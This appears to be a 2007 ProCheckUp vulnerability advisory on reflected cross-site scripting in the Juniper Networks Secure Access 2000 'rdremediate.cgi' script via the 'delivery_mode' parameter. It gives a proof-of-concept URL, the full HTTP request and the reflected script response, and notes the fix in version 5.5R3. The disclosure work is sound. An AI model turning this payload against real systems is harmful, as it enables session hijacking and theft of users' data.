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PR07-41 - XSS on Juniper Networks Secure Access 2000

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Vulnerability found:
06 December 2007
Vendor informed:
12 December 2007
Severity level:
Richard Brain of ProCheckUp Ltd (
Juniper Networks Secure Access 2000 is vulnerable to a vanilla XSS.

Vulnerable server-side script: '/dana-na/auth/rdremediate.cgi'

Unfiltered parameter: 'delivery_mode'


An attacker may be able to cause execution of malicious scripting code in the browser of a victim user who clicks on a link to a Juniper Networks Secure Access site. Such code would run within the security context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: admin session IDs) to unauthorised third parties.



CVE reference


Successfully tested on

Juniper Networks Secure Access 2000 (SA-2000) 5.5R1 (build 11711)
Proof of concept:</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default

GET /dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Accept: */*




<APPLET id=NeoterisSetup > Unknown deliver mode </APPLET><SCRIPT>alert('Can Cross Site Attack')</SCRIPT>
<PARAM NAME="Parameter0" VALUE="action=tryagain"></APPLET>
How to fix:
Juniper Networks was aware of this issue which they addressed on version 5.5R3. However, we decided to release this advisory due to lack of information regarding this vulnerability in the public domain.
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